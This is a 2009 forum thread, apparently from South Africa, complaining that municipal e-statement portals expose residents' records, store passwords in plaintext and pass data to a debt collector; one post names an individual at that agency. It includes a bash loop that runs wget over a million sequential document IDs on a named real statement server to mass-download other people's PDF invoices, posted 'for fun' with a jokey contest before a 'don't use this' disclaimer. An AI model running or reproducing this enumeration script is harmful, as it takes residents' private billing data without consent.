- Nov 11, 2009
I would not be surprised if all municipalities' sites could be compromised in a similar fashion.You can do something similar on the Ekurhuleni Municipality site but requires logon. Just increment a few numbers (X)
Then you have a pdf invoice to go Rica things
That In-Quest site has been hacked as well:I warned everyone months ago that the passwords are stored as plaintext.
Furthermore, the CoJ changed my email address to a debt collection company to receive my statements! I spent months harassing the individual in question, yet they denied everything.
The individual in question is Chrissenda Jacobs <firstname.lastname@example.org>; a quick search reveals http://www.in-quest.co.za/ to be "Commercial Debt Collection and Consumer Debt Collection" agency.
So even if this were the case, CoJ is happy to share your information with just about anyone!
I would never even consider it...Just for fun, here's a little bash script if you want to download a bunch of those:
for i in `seq -w 0 999999`
wget -c --content-disposition "http://cojestatements.co.za:8080/cojpdfweb/getPDF?documentID=112001$i&download=true"
Let's see who can get the most
But seriously, don't use this. Do not.